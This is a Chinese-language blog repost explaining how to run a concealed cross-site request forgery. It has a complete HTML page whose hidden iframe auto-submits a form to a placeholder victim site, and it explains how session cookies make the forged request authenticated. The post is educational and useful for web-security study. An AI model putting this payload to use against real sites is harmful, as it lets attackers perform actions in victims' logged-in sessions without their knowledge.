码迷,mamicode.com
首页 > 其他好文 > 详细

如何使用iframe实现隐藏的CSRF

时间:2016-07-30 16:28:38      阅读:176      评论:0      收藏:0      [点我收藏+]

标签:

1、攻击者在“页面1”中http://www.b.com/indexb.html中写下如下代码:

技术分享
 1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 2 
 3 <html>
 4 
 5     <head>
 6 
 7         <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
 8 
 9         <title>Welcome to CSRF</title>
10 
11     </head>
12 
13     <p style="color:blue; text-align:center; font-size:60px;">Your‘re by CSRF</p>
14     
15     <body>    
16     <!--hidden属性使内联框架iframe隐藏,这样的CSRF隐蔽-->
17         <iframe  hidden  width=1000 heigth=100 src="#" srcdoc=‘
18         
19             <form action="http://www.a.com/indexa.html" id="register" method="get" name="form">
20                 <input type=text name="username" value=""  />
21                 <input type=password name="password" value="" />
22             </form>
23     
24             <script>
25                 var f = document.getElementById("register");
26                 console.log(f.username.value);
27                 f.username.value="test";
28                 f.password.value="passwd";
29                 //进行自动提交
30                 document.form.submit(); 
31             </script>
32     
33         ‘></iframe>
34     
35     </body>
36 
37 </html>
View Code

2、当访问”页面1“时,这段代码向http://www.a.com/indexa.html发送了一个GET请求(当然POST也可以),而且是当用户访问的时候自动提交的。由于内嵌在iframe中且iframe设置了hidden属性,所以你看不到浏览器界面有什么变化(url没有变化,也看不到iframe)。假如用户在访问”页面1“之前已经访问过了网站”http://www.a.com/indexa.html“同域下的其他认证页面,这时,只要浏览器没有关闭或者重启的化(关闭认证的tab页没有影响),则临时cookie(一般认证通过设置cookie的方式实现)即session cookie会存在于内存中;在内存中的session cookie未消失之前,访问同域下的其他页面,浏览器就会在这些页面的header中带上cookie值。通过上面这样的方式便实现了授权的CSRF。

3、临时cookie存在于内存中,浏览器关闭或者重启,释放内存,才会清空临时cookie;本地cookie存在于硬盘上,只要到期后才会消失

4、IE浏览器目前不支持iframe的srcdoc属性,因此IE不适用本文,其他主流浏览器可以,如下所示:

 

 

技术分享

5、另外除了IE浏览器,其他浏览器都可以在<iframe>/<img>/<link>/<script>等标签中发送本地cookie;但是所有浏览器都发送Session Cookie

如何使用iframe实现隐藏的CSRF

标签:

原文地址:http://www.cnblogs.com/shengulong/p/5720859.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!